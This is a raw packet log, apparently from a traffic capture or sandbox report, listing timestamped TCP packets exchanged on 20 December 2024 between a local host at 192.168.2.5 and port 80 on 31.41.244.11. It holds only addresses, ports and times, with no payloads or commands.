Dec 20, 2024 13:12:12.099953890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.100085020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.100151062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.101232052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.101303101 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.101397991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.101552010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.102499008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.102590084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.102628946 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.102739096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.104022980 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.104077101 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.104305029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.104379892 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.104757071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.104842901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.104888916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.104964972 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.105786085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.105803013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.105853081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.105896950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.106919050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.106990099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.107181072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.107243061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.107814074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.107868910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.108727932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.108788967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.108874083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.108889103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.108936071 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.109422922 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.109477997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.110397100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.110445023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.110666990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.110788107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.243010998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.243067026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.243138075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.243207932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.243608952 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.243663073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.243707895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.243761063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.245477915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.245534897 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.245935917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.245995998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.246716976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.246768951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.246834040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.246905088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.247328997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.247384071 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.247417927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.247468948 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.248125076 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.248178005 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.248897076 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.248950005 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.249356985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.249408007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.249509096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.249557018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.250420094 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.250483990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.250485897 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.250524998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.251106024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.251158953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.251339912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.251398087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.252233028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.252285004 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.252441883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.252494097 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.254045963 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.254106045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.254195929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.254249096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.255846977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.255913973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.256150007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.256202936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.257186890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.257240057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.257343054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.257404089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.258285999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.258342028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.258568048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.258624077 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.259619951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.259685040 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.259689093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.259735107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.260235071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.260282040 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.260317087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.260370970 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.261146069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.261209965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.261284113 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.261352062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.261938095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.262000084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.262073994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.262132883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.263030052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.263083935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.263293982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.263344049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.264956951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.265012980 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.265166998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.265228033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.266241074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.266303062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.266475916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.266530037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.267960072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.268018961 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.268197060 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.268246889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.269033909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.269097090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.269144058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.269195080 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.269880056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.269931078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.269979000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.270034075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.270646095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.270701885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.270838976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.270891905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.271425009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.271481037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.271524906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.271581888 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.272368908 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.272422075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.272481918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.272532940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.273479939 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.273534060 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.273580074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.273638010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.274640083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.274692059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.274816990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.274868011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.276218891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.276272058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.276485920 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.276535988 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.277894974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.277947903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.278434992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.278492928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.279326916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.279376984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.279525042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.279578924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.280941963 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.280997038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.281034946 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.281089067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.282334089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.282387018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.282421112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.282470942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.283344030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.283402920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.283488035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.283536911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.284255981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.284307003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.284337997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.284384012 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.285140038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.285192013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.285228968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.285278082 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.286030054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.286082029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.286113024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.286164045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.287292004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.287344933 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.287507057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.287555933 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.288896084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.288996935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.289119959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.289179087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.289784908 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.289860964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.289952040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.290003061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.290659904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.290698051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.290709972 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.290740013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.292377949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.292432070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.294491053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.294542074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.295277119 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.295294046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.295309067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.295330048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.295346975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.295381069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.295428991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.295439005 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.295481920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.296533108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.296591997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.296701908 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.296752930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.297471046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.297523022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.297645092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.297693968 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.298063993 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.298115969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.298604965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.298655987 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.299139977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.299155951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.299194098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.300539017 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.300592899 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.300694942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.300750971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.301470041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.301485062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.301522970 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.301541090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.302318096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.302334070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.302376032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.303668976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.303725958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.303849936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.303904057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.432260990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.432343960 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.432459116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.432522058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.432751894 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.432807922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.433051109 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.433103085 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.433846951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.433900118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.434010983 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.434066057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.434984922 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.435040951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.435482025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.435533047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.436152935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.436208963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.436275005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.436325073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.437226057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.437274933 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.437289953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.437340021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.438338995 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.438390017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.438484907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.438534975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.439455986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.439511061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.439698935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.439752102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.440582037 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.440639019 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.440849066 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.440898895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.441725016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.441781998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.441849947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.441903114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.442826033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.442879915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.442989111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.443042040 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.443953991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.444006920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.444180965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.444231987 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.445063114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.445122957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.445805073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.445864916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.446187019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.446252108 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.446276903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.446326971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.447334051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.447360039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.447401047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.447421074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.448472023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.448524952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.449440002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.449491978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.449568987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.449620962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.449693918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.449745893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.450711966 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.450788975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.450967073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.451019049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.451874971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.451941967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.451993942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.452044964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.452923059 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.452977896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.453442097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.453493118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.454067945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.454128027 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.454134941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.454175949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.455154896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.455204010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.455324888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.455378056 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.456293106 CET	80	49831	31.41.244.11	192.168.2.5
